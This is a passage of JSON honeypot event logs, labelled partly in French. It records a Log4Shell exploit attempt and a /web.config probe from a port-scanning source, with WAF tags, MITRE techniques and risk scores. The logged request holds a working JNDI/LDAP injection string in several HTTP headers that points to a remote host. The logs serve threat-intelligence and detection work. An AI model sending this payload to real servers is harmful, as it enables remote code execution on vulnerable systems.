\u0022city\u0022: null, \u0022is_datacenter\u0022: false, \u0022is_tor_hint\u0022: false, \u0022geo\u0022: {\u0022country\u0022: \u0022IQ\u0022, \u0022asn\u0022: 206206, \u0022org\u0022: \u0022Kurdistan Net Company for Computer and Internet Ltd.\u0022, \u0022is_datacenter\u0022: false, \u0022is_tor_hint\u0022: false}, \u0022fingerprint\u0022: {\u0022http_ua_hash\u0022: \u0022fe708651b6c643395e8302e86b7a4c6a\u0022, \u0022payload_hash\u0022: \u0022d70800598dd2fb888e14abb26f16f0e0\u0022, \u0022path_pattern_hash\u0022: \u00224d3a663efc0aa83935bc8248020e5b4c\u0022}, \u0022target_context\u0022: {\u0022dst_port\u0022: 31832, \u0022service\u0022: \u0022http\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022risk_score\u0022: 79}, \u0022payload_preview\u0022: \u0022GET \/api\/ HTTP\/1.1\\r\\nHost: 62.3.50.33:31832\\r\\nConnection: close\\r\\nContent-Length: 0\\r\\nUser-Agent: ${jndi:ldap:\/\/192.168.195.130:4605\u0022, \u0022method\u0022: \u0022GET\u0022, \u0022path\u0022: \u0022\/api\/\u0022, \u0022user_agent\u0022: \u0022${jndi:ldap:\/\/192.168.195.130:4605\/Log4ShellPayload}\u0022, \u0022waf_tags\u0022: [\u0022950326:rce-0\u0022, \u0022950406:ssrf-3\u0022, \u0022950418:jndi-0\u0022, \u0022950468:nosqli-3\u0022, \u0022950470:nosqli-3\u0022, \u0022950585:cache-poison-xfh\u0022, \u0022950600:k8s-api\u0022, \u0022951011:log4shell-jndi\u0022], \u0022waf_rule_names\u0022: [\u0022rce-0\u0022, \u0022ssrf-3\u0022, \u0022jndi-0\u0022, \u0022nosqli-3\u0022, \u0022cache-poison-xfh\u0022, \u0022k8s-api\u0022, \u0022log4shell-jndi\u0022], \u0022request_line\u0022: \u0022GET \/api\/ HTTP\/1.1\u0022, \u0022request_sample\u0022: \u0022GET \/api\/ HTTP\/1.1\\r\\nHost: 62.3.50.33:31832\\r\\nConnection: close\\r\\nContent-Length: 0\\r\\nUser-Agent: ${jndi:ldap:\/\/192.168.195.130:4605\/Log4ShellPayload}\\r\\nX-Forwarded-For: ${jndi:ldap:\/\/192.168.195.130:4605\/Log4ShellPayload}\\r\\nX-Api-Version: ${jndi:ldap:\/\/192.168.\u0022, \u0022payload_snippet\u0022: \u0022GET \/api\/ HTTP\/1.1\\r\\nHost: 62.3.50.33:31832\\r\\nConnection: close\\r\\nContent-Length: 0\\r\\nUser-Agent: ${jndi:ldap:\/\/192.168.195.130:4605\u0022, \u0022evidence\u0022: {\u0022method\u0022: \u0022GET\u0022, \u0022path\u0022: \u0022\/api\/\u0022, \u0022user_agent\u0022: \u0022${jndi:ldap:\/\/192.168.195.130:4605\/Log4ShellPayload}\u0022, \u0022waf_tags\u0022: [\u0022950326:rce-0\u0022, \u0022950406:ssrf-3\u0022, \u0022950418:jndi-0\u0022, \u0022950468:nosqli-3\u0022, \u0022950470:nosqli-3\u0022, \u0022950585:cache-poison-xfh\u0022, \u0022950600:k8s-api\u0022, \u0022951011:log4shell-jndi\u0022], \u0022waf_rule_names\u0022: [\u0022rce-0\u0022, \u0022ssrf-3\u0022, \u0022jndi-0\u0022, \u0022nosqli-3\u0022, \u0022cache-poison-xfh\u0022, \u0022k8s-api\u0022, \u0022log4shell-jndi\u0022], \u0022request_line\u0022: \u0022GET \/api\/ HTTP\/1.1\u0022, \u0022request_sample\u0022: \u0022GET \/api\/ HTTP\/1.1\\r\\nHost: 62.3.50.33:31832\\r\\nConnection: close\\r\\nContent-Length: 0\\r\\nUser-Agent: ${jndi:ldap:\/\/192.168.195.130:4605\/Log4ShellPayload}\\r\\nX-Forwarded-For: ${jndi:ldap:\/\/192.168.195.130:4605\/Log4ShellPayload}\\r\\nX-Api-Version: ${jndi:ldap:\/\/192.168.\u0022, \u0022payload_snippet\u0022: \u0022GET \/api\/ HTTP\/1.1\\r\\nHost: 62.3.50.33:31832\\r\\nConnection: close\\r\\nContent-Length: 0\\r\\nUser-Agent: ${jndi:ldap:\/\/192.168.195.130:4605\u0022, \u0022classification_reason\u0022: \u0022Type \u00ab log4j_jndi \u00bb (signaux protocolaires) \u00b7 confiance 95%\u0022}, \u0022attack_stage\u0022: \u0022exploit_attempt\u0022, \u0022mitre_tactics\u0022: [\u0022TA0001\u0022, \u0022TA0002\u0022], \u0022mitre_techniques\u0022: [\u0022T1190\u0022, \u0022T1059\u0022], \u0022mitre\u0022: \u0022T1190\u0022, \u0022threat_family\u0022: [\u0022unknown\u0022], \u0022recommended_client_action\u0022: \u0022investigate\u0022, \u0022policy_mode\u0022: \u0022intelligence\u0022, \u0022sensor_role\u0022: \u0022threat_intelligence\u0022, \u0022event_signature\u0022: \u00228ef1ba5665781bf9c0339a554bcf3eee59689112\u0022, \u0022protocol_details\u0022: {\u0022http_method\u0022: \u0022GET\u0022, \u0022http_path\u0022: \u0022\/api\/\u0022, \u0022request_line\u0022: \u0022GET \/api\/ HTTP\/1.1\u0022, \u0022http_user_agent\u0022: \u0022${jndi:ldap:\/\/192.168.195.130:4605\/Log4ShellPayload}\u0022, \u0022port\u0022: 31832, \u0022service\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022}, \u0022evidence_snippet\u0022: \u0022GET \/api\/ HTTP\/1.1\\r\\nHost: 62.3.50.33:31832\\r\\nConnection: close\\r\\nContent-Length: 0\\r\\nUser-Agent: ${jndi:ldap:\/\/192.168.195.130:4605\u0022, \u0022attack_vector\u0022: \u0022log4j jndi \u00b7 via HTTP:31832 \u00b7 (tentative d\u0027exploit) \u00b7 \u2192 \/api\/\u0022, \u0022target_port_label\u0022: \u002231832 \u00b7 HTTP\u0022, \u0022emulator_service\u0022: \u0022http\u0022, \u0022confidence_reason\u0022: \u0022Confiance 95 % \u2014 Motif catalogue confirm\u00e9 \u00b7 8 tag(s) WAF\u0022, \u0022site_display\u0022: {\u0022classification\u0022: null, \u0022classification_reason\u0022: \u0022Type \u00ab log4j_jndi \u00bb (signaux protocolaires) \u00b7 confiance 95%\u0022, \u0022classification_reason_label_fr\u0022: \u0022Type \u00ab log4j_jndi \u00bb (signaux protocolaires) \u00b7 confiance 95%\u0022, \u0022executive_one_liner_fr\u0022: \u0022Activit\u00e9 suspecte \u2014 risque 79\/100 (\u00c9lev\u00e9) \u2014 MITRE T1190 \u2014 confiance 100 % \u2014 via HTTP \u2014 multi-protocole (63 protocoles \u00b7 5 min)\u0022, \u0022confidence_pct\u0022: 100, \u0022confidence_breakdown\u0022: {\u0022waf\u0022: 100.0, \u0022classification\u0022: 94.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 0.0, \u0022protocol\u0022: 43.0, \u0022novelty\u0022: 25.0, \u0022risk_score\u0022: 79, \u0022correlation_boost\u0022: 18}, \u0022attack_stage\u0022: \u0022exploit_attempt\u0022, \u0022attack_stage_label\u0022: \u0022Tentative d\u0027exploit\u0022, \u0022attack_chain_stage\u0022: \u0022exploitation\u0022, \u0022attack_chain_stage_label_fr\u0022: \u0022Exploitation\u0022, \u0022risk_score\u0022: 79, \u0022risk_label\u0022: \u0022\u00c9lev\u00e9\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022, \u0022dst_port\u0022: 31832, \u0022protocol_emulated\u0022: null, \u0022tags_summary\u0022: [\u0022ET-EXPLOIT-Log4j\u0022, \u0022pat-fb-001\u0022, \u0022ET-EXPLOIT-Log4j-sub\u0022], \u0022tags_summary_labels_fr\u0022: [\u0022ET-EXPLOIT-Log4j\u0022, \u0022pat-fb-001\u0022, \u0022ET-EXPLOIT-Log4j-sub\u0022], \u0022recommended_action\u0022: \u0022investigate\u0022, \u0022recommended_action_label\u0022: \u0022Investiguer\u0022, \u0022mitre\u0022: \u0022T1190\u0022, \u0022mitre_technique\u0022: \u0022T1190\u0022, \u0022persona_hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022persona_service_banner\u0022: \u0022honeypot-http\u0022, \u0022correlation_flags\u0022: [\u0022scan_rapide\u0022, \u0022campagne_ports\u0022, \u0022multi_protocol_correlation\u0022], \u0022correlation_flags_labels_fr\u0022: [\u0022Scan rapide multi-ports\u0022, \u0022Campagne multi-ports\u0022, \u0022Multi-protocole corr\u00e9l\u00e9 (5 min)\u0022], \u0022sensor_role\u0022: \u0022threat_intelligence\u0022, \u0022sensor_role_label_fr\u0022: \u0022Renseignement menaces\u0022, \u0022confidence_hint_fr\u0022: \u0022Corr\u00e9lation +18\u0022, \u0022protocol_details\u0022: {\u0022http_method\u0022: \u0022GET\u0022, \u0022http_path\u0022: \u0022\/api\/\u0022, \u0022request_line\u0022: \u0022GET \/api\/ HTTP\/1.1\u0022, \u0022http_user_agent\u0022: \u0022${jndi:ldap:\/\/192.168.195.130:4605\/Log4ShellPayload}\u0022, \u0022port\u0022: 31832, \u0022service\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022}, \u0022attack_vector\u0022: \u0022log4j jndi \u00b7 via HTTP:31832 \u00b7 (tentative d\u0027exploit) \u00b7 \u2192 \/api\/\u0022, \u0022evidence_snippet\u0022: \u0022GET \/api\/ HTTP\/1.1\\r\\nHost: 62.3.50.33:31832\\r\\nConnection: close\\r\\nContent-Length: 0\\r\\nUser-Agent: ${jndi:ldap:\/\/192.168.195.130:4605\u0022, \u0022target_port_label\u0022: \u002231832 \u00b7 HTTP\u0022, \u0022emulator_service\u0022: \u0022http\u0022, \u0022confidence_reason\u0022: \u0022Confiance 95 % \u2014 Motif catalogue confirm\u00e9 \u00b7 8 tag(s) WAF\u0022, \u0022confidence_factors_fr\u0022: \u0022Confiance 100 % \u2014 Score WAF 100 \u00b7 Bonus corr\u00e9lation +18 \u00b7 8 tag(s) WAF\u0022, \u0022campaign_hint_fr\u0022: \u0022Campagne multi-ports d\u00e9tect\u00e9e sur une fen\u00eatre courte\u0022, \u0022attack_phases_timeline_fr\u0022: [{\u0022key\u0022: \u0022recon\u0022, \u0022label_fr\u0022: \u0022Reconnaissance\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022probe\u0022, \u0022label_fr\u0022: \u0022Sonde \/ probe\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022exploit_attempt\u0022, \u0022label_fr\u0022: \u0022Tentative d\u0027exploit\u0022, \u0022active\u0022: true, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022post_exploit\u0022, \u0022label_fr\u0022: \u0022Post-exploitation\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022c2\u0022, \u0022label_fr\u0022: \u0022Commande \u0026 contr\u00f4le\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022exploitation\u0022, \u0022label_fr\u0022: \u0022Exploitation\u0022, \u0022active\u0022: true, \u0022kind\u0022: \u0022chain\u0022, \u0022hint_fr\u0022: null}]}, \u0022honeypot_persona\u0022: {\u0022sensor_id\u0022: \u0022sensor-1\u0022, \u0022hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022mail_host\u0022: \u0022mail.sensor-1.internal\u0022, \u0022ldap_dc\u0022: \u0022dc.sensor-1.internal\u0022, \u0022k8s_cluster\u0022: \u0022hp-sensor-1\u0022, \u0022domain\u0022: \u0022sensor-1.internal\u0022, \u0022service_role\u0022: \u0022http\u0022, \u0022service_banner\u0022: \u0022honeypot-http\u0022, \u0022service_os\u0022: \u0022linux\u0022, \u0022dst_port\u0022: \u002231832\u0022}, \u0022hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022sensor_id\u0022: \u0022sensor-1\u0022, \u0022port_scan_campaign\u0022: true, \u0022port_scan_distinct_ports\u0022: 33, \u0022port_scan_ports_sample\u0022: [20498, 20500, 20501, 20504, 20539, 20571, 20572, 20573, 20575, 20576, 20577, 20599, 20601, 20615, 20616, 20617], \u0022rapid_port_scan\u0022: true, \u0022rapid_scan_distinct_ports\u0022: 18, \u0022scan_velocity_ports_per_s\u0022: 3.77, \u0022multi_protocol_correlation\u0022: true, \u0022multi_protocol_count\u0022: 63, \u0022multi_protocol_sample\u0022: [\u0022http\u0022, \u0022port:20361\u0022, \u0022port:20480\u0022, \u0022port:20493\u0022, \u0022port:20495\u0022, \u0022port:20496\u0022, \u0022port:20498\u0022, \u0022port:20499\u0022], \u0022multi_protocol_window_s\u0022: 300, \u0022behavior_alerts\u0022: [\u0022port_scan_campaign\u0022, \u0022rapid_port_scan\u0022, \u0022multi_protocol_correlation\u0022], \u0022correlation_confidence_boost\u0022: 18, \u0022attack_chain_stage\u0022: \u0022exploitation\u0022, \u0022ban_policy\u0022: \u0022advisory_investigate\u0022, \u0022tags_list\u0022: [\u0022950326:rce-0\u0022, \u0022950406:ssrf-3\u0022, \u0022950418:jndi-0\u0022, \u0022950468:nosqli-3\u0022, \u0022950470:nosqli-3\u0022, \u0022950585:cache-poison-xfh\u0022, \u0022950600:k8s-api\u0022, \u0022951011:log4shell-jndi\u0022, \u0022http_dns_rebinding\u0022, \u0022http_header_x-forwarded-for\u0022, \u0022http_header_x-forwarded-host\u0022, \u0022http_host_mismatch\u0022, \u0022http_probe_api\u0022, \u0022net_port_scan_fast\u0022]}","tls_sni":null,"tls_ja3_hash":null,"tls_ja3":null,"http_version":"HTTP\/1.1","http_host":"62.3.50.33:31832","http_user_agent":"${jndi:ldap:\/\/192.168.195.130:4605\/Log4ShellPayload}","http_referer":"${jndi:ldap:\/\/192.168.195.130:4605\/Log4ShellPayload}","tags":"[\u0022950326:rce-0\u0022, \u0022950406:ssrf-3\u0022, \u0022950418:jndi-0\u0022, \u0022950468:nosqli-3\u0022, \u0022950470:nosqli-3\u0022, \u0022950585:cache-poison-xfh\u0022, \u0022950600:k8s-api\u0022, \u0022951011:log4shell-jndi\u0022, \u0022http_dns_rebinding\u0022, \u0022http_header_x-forwarded-for\u0022, \u0022http_header_x-forwarded-host\u0022, \u0022http_host_mismatch\u0022, \u0022http_probe_api\u0022, \u0022net_port_scan_fast\u0022]","anomalies":"[]","severity":10,"bytes_in":496},{"id":7106398,"ip":"185.244.155.23","ts":"2026-10-23 11:45:48.000000","proto":"tcp","src_port":17815,"dst_port":20639,"service":"http","classification":"port_scan_syn","waf_score":13,"waf_tags":"[\u0022950326:rce-0\u0022, \u0022950470:nosqli-3\u0022]","http_method":"GET","http_target":"\/web.config","sensor_id":"paris-1","meta":"{\u0022http_header_count\u0022: 5, \u0022http_query_params\u0022: 0, \u0022http_path_depth\u0022: 1, \u0022http_path_ext\u0022: \u0022config\u0022, \u0022http_ua_hash\u0022: \u00225002ada1c05fac60ce2af638d5f54066641d121c\u0022, \u0022http_host_hash\u0022: \u00220991dad1e85d945fa26d249d6238901b89cb8349\u0022, \u0022http_target_hash\u0022: \u0022fb61e36fe9095535f127e3353d957f1c1310e8e9\u0022, \u0022http_referer_hash\u0022: null, \u0022http_method\u0022: \u0022GET\u0022, \u0022http_ua_is_cli\u0022: false, \u0022http_ua_is_browser\u0022: true, \u0022bytes_in\u0022: 179, \u0022payload_entropy\u0022: 5.199011692965391, \u0022port_category\u0022: \u0022registered\u0022, \u0022org\u0022: \u0022Kurdistan Net Company for Computer and Internet Ltd.\u0022, \u0022service\u0022: \u0022http\u0022, \u0022app_proto\u0022: \u0022http\u0022, \u0022asn\u0022: 206206, \u0022country\u0022: \u0022IQ\u0022, \u0022dst_port\u0022: 20639, \u0022risk_waf\u0022: 60.0, \u0022risk_classification\u0022: 64.0, \u0022risk_behavior\u0022: 0.0, \u0022risk_geo\u0022: 0.0, \u0022risk_protocol\u0022: 43.0, \u0022risk_novelty\u0022: 15.0, \u0022risk_boost\u0022: 0, \u0022risk_granularity\u0022: 5.2, \u0022risk_breakdown\u0022: {\u0022waf\u0022: 60.0, \u0022classification\u0022: 64.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 0.0, \u0022protocol\u0022: 43.0, \u0022novelty\u0022: 15.0}, \u0022risk_score\u0022: 47, \u0022tag_count\u0022: 4, \u0022anomaly_count\u0022: 0, \u0022campaign_key\u0022: \u002292ec8a9fa4eaf5dbbc5a53d694ef69920b165054\u0022, \u0022event_fingerprint\u0022: \u0022568bcb375098aa9e456cedb895ab50e6e94768ee\u0022, \u0022classification_reason\u0022: \u0022Sonde fichier sensible \/ config \u00b7 confiance 100%\u0022, \u0022confidence\u0022: 1.0, \u0022classification_confidence\u0022: 1.0, \u0022precision_score\u0022: 293, \u0022precision_signals\u0022: [\u0022MITRE-T1046\u0022, \u0022SIGMA-net-port-scan\u0022, \u0022INT-beh-scan-burst\u0022, \u0022INT-beh-multi-port-60s\u0022], \u0022kb_rule_ids\u0022: [\u0022MITRE-T1046\u0022, \u0022SIGMA-net-port-scan\u0022, \u0022INT-beh-scan-burst\u0022, \u0022INT-beh-multi-port-60s\u0022], \u0022confidence_breakdown\u0022: {\u0022waf\u0022: 60.0, \u0022classification\u0022: 64.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 0.0, \u0022protocol\u0022: 43.0, \u0022novelty\u0022: 15.0, \u0022risk_score\u0022: 47, \u0022correlation_boost\u0022: 18}, \u0022named_classification_skipped\u0022: false, \u0022service_name\u0022: \u0022http\u0022, \u0022risk_confidence_factor\u0022: 100.0, \u0022city\u0022: null, \u0022is_datacenter\u0022: false, \u0022is_tor_hint\u0022: false, \u0022geo\u0022: {\u0022country\u0022: \u0022IQ\u0022, \u0022asn\u0022: 206206, \u0022org\u0022: \u0022Kurdistan Net Company for Computer and Internet Ltd.\u0022, \u0022is_datacenter\u0022: false, \u0022is_tor_hint\u0022: false}, \u0022fingerprint\u0022: {\u0022http_ua_hash\u0022: \u002263279522febcf5538b72996c16a8660f\u0022, \u0022payload_hash\u0022: \u00226796f1d0cd43383799b9b8781ceb99b1\u0022, \u0022path_pattern_hash\u0022: \u00220913647d7e838cdd727ceda37a671f37\u0022}, \u0022target_context\u0022: {\u0022dst_port\u0022: 20639, \u0022service\u0022: \u0022http\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022risk_score\u0022: 47}, \u0022payload_preview\u0022: \u0022GET \/web.config HTTP\/1.1\\r\\nAccept-Encoding: identity\\r\\nHost: 62.3.50.33\\r\\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) App\u0022, \u0022method\u0022: \u0022GET\u0022, \u0022path\u0022: \u0022\/web.config\u0022, \u0022user_agent\u0022: \u0022Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36\u0022, \u0022waf_tags\u0022: [\u0022950326:rce-0\u0022, \u0022950470:nosqli-3\u0022], \u0022waf_rule_names\u0022: [\u0022rce-0\u0022, \u0022nosqli-3\u0022], \u0022request_line\u0022: \u0022GET \/web.config HTTP\/1.1\u0022, \u0022request_sample\u0022: \u0022GET \/web.config HTTP\/1.1\\r\\nAccept-Encoding: identity\\r\\nHost: 62.3.50.33\\r\\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36\\r\\nAccept: *\/*\\r\\nConnection: close\\r\\n\\r\\n\u0022, \u0022payload_snippet\u0022: \u0022GET \/web.config HTTP\/1.1\\r\\nAccept-Encoding: identity\\r\\nHost: 62.3.50.33\\r\\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) App\u0022, \u0022evidence\u0022: {\u0022method\u0022: \u0022GET\u0022, \u0022path\u0022: \u0022\/web.config\u0022, \u0022user_agent\u0022: \u0022Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36\u0022, \u0022waf_tags\u0022: [\u0022950326:rce-0\u0022, \u0022950470:nosqli-3\u0022], \u0022waf_rule_names\u0022: [\u0022rce-0\u0022, \u0022nosqli-3\u0022], \u0022request_line\u0022: \u0022GET \/web.config HTTP\/1.1\u0022, \u0022request_sample\u0022: \u0022GET \/web.config HTTP\/1.1\\r\\nAccept-Encoding: identity\\r\\nHost: 62.3.50.33\\r\\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36\\r\\nAccept: *\/*\\r\\nConnection: close\\r\\n\\r\\n\u0022, \u0022payload_snippet\u0022: \u0022GET \/web.config HTTP\/1.1\\r\\nAccept-Encoding: identity\\r\\nHost: 62.3.50.33\\r\\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) App\u0022, \u0022classification_reason\u0022: \u0022Sonde fichier sensible \/ config \u00b7 confiance 100%\u0022}, \u0022attack_stage\u0022: \u0022recon\u0022, \u0022mitre_tactics\u0022: [\u0022TA0043\u0022], \u0022mitre_techniques\u0022: [\u0022T1046\u0022], \u0022mitre\u0022: \u0022T1046\u0022, \u0022threat_family\u0022: [\u0022scanner\u0022], \u0022recommended_client_action\u0022: \u0022monitor\u0022, \u0022policy_mode\u0022: \u0022intelligence\u0022, \u0022sensor_role\u0022: \u0022threat_intelligence\u0022, \u0022event_signature\u0022: \u0022192ddd55cc7ac8aeb5dd96888b4e037ce518fcc1\u0022, \u0022protocol_details\u0022: {\u0022http_method\u0022: \u0022GET\u0022, \u0022http_path\u0022: \u0022\/web.config\u0022, \u0022request_line\u0022: \u0022GET \/web.config HTTP\/1.1\u0022, \u0022http_user_agent\u0022: \u0022Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36\u0022, \u0022port\u0022: 20639, \u0022service\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022}, \u0022evidence_snippet\u0022: \u0022GET \/web.config HTTP\/1.1\\r\\nAccept-Encoding: identity\\r\\nHost: 62.3.50.33\\r\\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) App\u0022, \u0022attack_vector\u0022: \u0022port scan syn \u00b7 via HTTP:20639 \u00b7 (reconnaissance) \u00b7 \u2192 \/web.config\u0022, \u0022target_port_label\u0022: \u002220639 \u00b7 HTTP\u0022, \u0022emulator_service\u0022: \u0022http\u0022, \u0022confidence_reason\u0022: \u0022Confiance 100 % \u2014 2 tag(s) WAF\u0022, \u0022site_display\u0022: {\u0022classification\u0022: null, \u0022classification_reason\u0022: \u0022Sonde fichier sensible \/ config \u00b7 confiance 100%\u0022, \u0022classification_reason_label_fr\u0022: \u0022Sonde fichier sensible \/ config \u00b7 confiance 100%\u0022, \u0022executive_one_liner_fr\u0022: \u0022Activit\u00e9 suspecte \u2014 risque 47\/100 (Moyen) \u2014 MITRE T1046 \u2014 confiance 100 % \u2014 via HTTP \u2014 multi-protocole (63 protocoles \u00b7 5 min)\u0022, \u0022confidence_pct\u0022: 100, \u0022confidence_breakdown\u0022: {\u0022waf\u0022: 60.0, \u0022classification\u0022: 64.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 0.0, \u0022protocol\u0022: 43.0, \u0022novelty\u0022: 15.0, \u0022risk_score\u0022: 47, \u0022correlation_boost\u0022: 18}, \u0022attack_stage\u0022: \u0022recon\u0022, \u0022attack_stage_label\u0022: \u0022Reconnaissance\u0022, \u0022attack_chain_stage\u0022: \u0022reconnaissance\u0022, \u0022attack_chain_stage_label_fr\u0022: \u0022Reconnaissance\u0022, \u0022risk_score\u0022: 47, \u0022risk_label\u0022: \u0022Moyen\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022, \u0022dst_port\u0022: 20639, \u0022protocol_emulated\u0022: null, \u0022tags_summary\u0022: [\u0022MITRE-T1046\u0022, \u0022SIGMA-net-port-scan\u0022, \u0022INT-beh-scan-burst\u0022, \u0022INT-beh-multi-port-60s\u0022], \u0022tags_summary_labels_fr\u0022: [\u0022MITRE-T1046\u0022, \u0022SIGMA-net-port-scan\u0022, \u0022Beh Scan Burst\u0022, \u0022Beh Multi Port 60S\u0022], \u0022recommended_action\u0022: \u0022monitor\u0022, \u0022recommended_action_label\u0022: \u0022Surveiller\u0022, \u0022mitre\u0022: \u0022T1046\u0022, \u0022mitre_technique\u0022: \u0022T1046\u0022, \u0022persona_hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022persona_service_banner\u0022: \u0022honeypot-http\u0022, \u0022correlation_flags\u0022: [\u0022scan_rapide\u0022, \u0022campagne_ports\u0022, \u0022multi_protocol_correlation\u0022], \u0022correlation_flags_labels_fr\u0022: [\u0022Scan rapide multi-ports\u0022, \u0022Campagne multi-ports\u0022, \u0022Multi-protocole corr\u00e9l\u00e9 (5 min)\u0022], \u0022sensor_role\u0022: \u0022threat_intelligence\u0022, \u0022sensor_role_label_fr\u0022: \u0022Renseignement menaces\u0022, \u0022confidence_hint_fr\u0022: \u0022Corr\u00e9lation +18\u0022, \u0022protocol_details\u0022: {\u0022http_method\u0022: \u0022GET\u0022, \u0022http_path\u0022: \u0022\/web.config\u0022, \u0022request_line\u0022: \u0022GET \/web.config HTTP\/1.1\u0022, \u0022http_user_agent\u0022: \u0022Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36\u0022, \u0022port\u0022: 20639, \u0022service\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022}, \u0022attack_vector\u0022: \u0022port scan syn \u00b7 via HTTP:20639 \u00b7 (reconnaissance) \u00b7 \u2192 \/web.config\u0022, \u0022evidence_snippet\u0022: \u0022GET \/web.config HTTP\/1.1\\r\\nAccept-Encoding: identity\\r\\nHost: 62.3.50.33\\r\\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) App\u0022, \u0022target_port_label\u0022: \u002220639 \u00b7 HTTP\u0022, \u0022emulator_service\u0022: \u0022http\u0022, \u0022confidence_reason\u0022: \u0022Confiance 100 % \u2014 2 tag(s) WAF\u0022, \u0022confidence_factors_fr\u0022: \u0022Confiance 100 % \u2014 Score WAF 60 \u00b7 Bonus corr\u00e9lation +18 \u00b7 2 tag(s) WAF\u0022, \u0022campaign_hint_fr\u0022: \u0022Campagne multi-ports d\u00e9tect\u00e9e sur une fen\u00eatre courte\u0022, \u0022attack_phases_timeline_fr\u0022: [{\u0022key\u0022: \u0022recon\u0022, \u0022label_fr\u0022: \u0022Reconnaissance\u0022, \u0022active\u0022: true, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022probe\u0022, \u0022label_fr\u0022: \u0022Sonde \/ probe\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022exploit_attempt\u0022, \u0022label_fr\u0022: \u0022Tentative d\u0027exploit\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022post_exploit\u0022, \u0022label_fr\u0022: \u0022Post-exploitation\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022c2\u0022, \u0022label_fr\u0022: \u0022Commande \u0026 contr\u00f4le\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022reconnaissance\u0022, \u0022label_fr\u0022: \u0022Reconnaissance\u0022, \u0022active\u0022: true, \u0022kind\u0022: \u0022chain\u0022, \u0022hint_fr\u0022: null}]}, \u0022honeypot_persona\u0022: {\u0022sensor_id\u0022: \u0022sensor-1\u0022, \u0022hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022mail_host\u0022: \u0022mail.sensor-1.internal\u0022, \u0022ldap_dc\u0022: \u0022dc.sensor-1.internal\u0022, \u0022k8s_cluster\u0022: \u0022hp-sensor-1\u0022, \u0022domain\u0022: \u0022sensor-1.internal\u0022, \u0022service_role\u0022: \u0022http\u0022, \u0022service_banner\u0022: \u0022honeypot-http\u0022, \u0022service_os\u0022: \u0022linux\u0022, \u0022dst_port\u0022: \u002220639\u0022}, \u0022hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022sensor_id\u0022: \u0022sensor-1\u0022, \u0022port_scan_campaign\u0022: true, \u0022port_scan_distinct_ports\u0022: 33, \u0022port_scan_ports_sample\u0022: [20498, 20500, 20501, 20504, 20539, 20571, 20572, 20573, 20575, 20576, 20577, 20599, 20601, 20615, 20616, 20617], \u0022rapid_port_scan\u0022: true, \u0022rapid_scan_distinct_ports\u0022: 18, \u0022scan_velocity_ports_per_s\u0022: 3.9, \u0022multi_protocol_correlation\u0022: true, \u0022multi_protocol_count\u0022: 63, \u0022multi_protocol_sample\u0022: [\u0022http\u0022, \u0022port:20361\u0022, \u0022port:20480\u0022, \u0022port:20493\u0022, \u0022port:20495\u0022, \u0022port:20496\u0022, \u0022port:20498\u0022, \u0022port:20499\u0022], \u0022multi_protocol_window_s\u0022: 300, \u0022behavior_alerts\u0022: [\u0022port_scan_campaign\u0022, \u0022rapid_port_scan\u0022, \u0022multi_protocol_correlation\u0022], \u0022correlation_confidence_boost\u0022: 18, \u0022attack_chain_stage\u0022: \u0022reconnaissance\u0022, \u0022matched_patterns\u0022: [], \u0022ban_policy\u0022: \u0022advisory_monitor\u0022, \u0022tags_list\u0022: [\u0022950326:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022http_sensitive_path\u0022, \u0022net_port_scan_fast\u0022]}","tls_sni":null,"tls_ja3_hash":null,"tls_ja3":null,"http_version":"HTTP\/1.1","http_host":"62.3.50.33","http_user_agent":"Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36","http_referer":null,"tags":"[\u0022950326:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022http_sensitive_path\u0022, 